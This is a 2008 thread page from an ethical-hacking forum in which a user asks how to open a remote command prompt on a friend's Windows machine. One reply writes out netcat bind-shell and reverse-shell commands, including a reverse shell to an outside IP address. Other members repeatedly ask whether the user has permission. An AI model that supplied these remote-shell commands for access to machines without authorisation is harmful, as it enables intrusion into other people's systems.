Image
 
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 27 guests and 2 members online
EH-Net Donations

Enter Amount:
$

Google Ads
EH-Net News Feeds
Latest Additions
Book Recommendations





 
Advertisement

You are here: Home arrow Forum arrow Resourcesarrow Toolsarrow opening a port through command promt.
Ethical Hacker Community Forums
December 03, 2008, 04:28:41 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: ChicagoCon 2-Day Ethical Hacking Conference with MS Blue Hats Oct 31 - Nov 1. Tickets Only $100! www.chicagocon.com/content/view/103/51/
 
   Home   Help Calendar Login Register  
Pages: 1 [2]   Go Down
  Print  
Author Topic: opening a port through command promt.  (Read 7275 times)
0 Members and 1 Guest are viewing this topic.
pseud0
Full Member
***
Offline Offline

Posts: 143



View Profile
« Reply #15 on: March 30, 2008, 08:40:54 AM »

I am not going to touch the part about getting onto the target system.  That's up to you getting permission and doing your own research into remote code execution.  As for the basic way to simply get a port open, go onto the intergoogle and search "man netcat". 

To just get a listening port open on the target box:
nc -lvvp 4444   (that number can be any non-assigned port number)

To attach to the listening port from your testing system:
nc 192.168.1.100 4444   (adjust the IP and port number as needed)

To get the target system to give you a command prompt:
nc -lvvp 4444 -e cmd.exe  (the -e flag can be -c in some cases, this will open a port and bind it to cmd so that when you connect from another system you get a windows command prompt)

To get a reverse bind shell (you can't connect directly to the system because it's nat'ed):
on your testing system ->  nc -lvvp 4444
on the target system -> nc 66.67.68.69 4444 -e /bin/bash  (replace IP and port as necessary)

Note:  I am not posting these as "hacking tips" since these exact same commands are used for normal network administration.  In addition, you are going to need to have admin access to the target machine already to make this work.
Logged

CISSP, CISM
bojan
Newbie
*
Offline Offline

Posts: 19


View Profile
« Reply #16 on: March 31, 2008, 12:32:10 AM »

what if the target computer system does nt set an administrator account,i mean the adminis account isnt locked!
Logged
eth3real
Full Member
***
Offline Offline

Posts: 130



View Profile
« Reply #17 on: March 31, 2008, 10:52:24 AM »

First, please use proper spelling/grammar/punctuation, because it's getting hard to understand what you're saying. (And because you can't type like that in a business environment, and if you plan on doing this professionally like most of us do, it's just a good skill)

Second, tell us your whole situation.

-Is this your friend's computer?
-Do you have permission?
-Do you have physical access to the computer (i.e., can you walk over to it and use the keyboard)?
-Is a remote command prompt all you want?
-What is the point of doing this, so we can better understand?
-Do you know if there is a firewall on this computer?
-Is the computer on the same network as you (connected to the same router or hub) or are you trying to do this over the internet?
Logged

Jess Hires
MCP, C|EH
pseud0
Full Member
***
Offline Offline

Posts: 143



View Profile
« Reply #18 on: March 31, 2008, 11:08:56 AM »

Bojan,
   Here is a pretty simple instructive video.  It'll help you understand. 

http://www.youtube.com/watch?v=oHg5SJYRHA0
Logged

CISSP, CISM
bojan
Newbie
*
Offline Offline

Posts: 19


View Profile
« Reply #19 on: April 01, 2008, 12:59:09 AM »

Yes,I have the physical acess!!!yes I can use the keyboard but at the same time I also want to know when I will be not able to have the physical acess then what should I do?
I know the ip-adress of my friend and he has a av installed no firewall!!He is using windowssp2!
If i want to gain the acess of that system then what I have to do!!
Logged
RoleReversal
Sr. Member
****
Offline Offline

Posts: 470


View Profile WWW
« Reply #20 on: April 01, 2008, 03:25:59 AM »

Yes,I have the physical acess!!!yes I can use the keyboard but at the same time I also want to know when I will be not able to have the physical acess then what should I do?
I know the ip-adress of my friend and he has a av installed no firewall!!He is using windowssp2!
If i want to gain the acess of that system then what I have to do!!

To take eth3real's questions one step further:
  • Do you have permission, to access your friend's machine
  • Do you have physical access to your friend's machine

I appreciate that you want to test connectivity for the event that you cannot physically control the machine. But, before you can access the machine remotely you need to set up some systems physically, Pseud0's netcat instructions will be a good place to start looking.
Logged

A little bit of sanity:
http://www.infosanity.co.uk
eth3real
Full Member
***
Offline Offline

Posts: 130



View Profile
« Reply #21 on: April 01, 2008, 10:31:33 AM »

I agree with RoleReversal.

The most important thing here is to make sure you have permission to access your friend's machine.

After that, you already said there is no admin password. Login as admin, and try installing a program like netcat, like Pseud0 and RoleReversal said.
Logged

Jess Hires
MCP, C|EH
Pages: 1 [2]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.7 | SMF © 2006-2008, Simple Machines LLC
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.055 seconds with 23 queries.
 
Sponsors

cwnp_moto__120x90.gif

Polls
During the most recent election, I:
 
Support EH-Net


Support EH-Net by
Buying all of your
Amazon items using
the search bar above.

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!
Recent Forum Topics
Vote For EH-Net

progenic.com
Click here to Vote!

Sadikhov.com
Top IT Cert Sites

binarica.com
Binarica Logo

Add to Technorati Favorites
technorati fave

 
         
Advertisement

© 2008 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.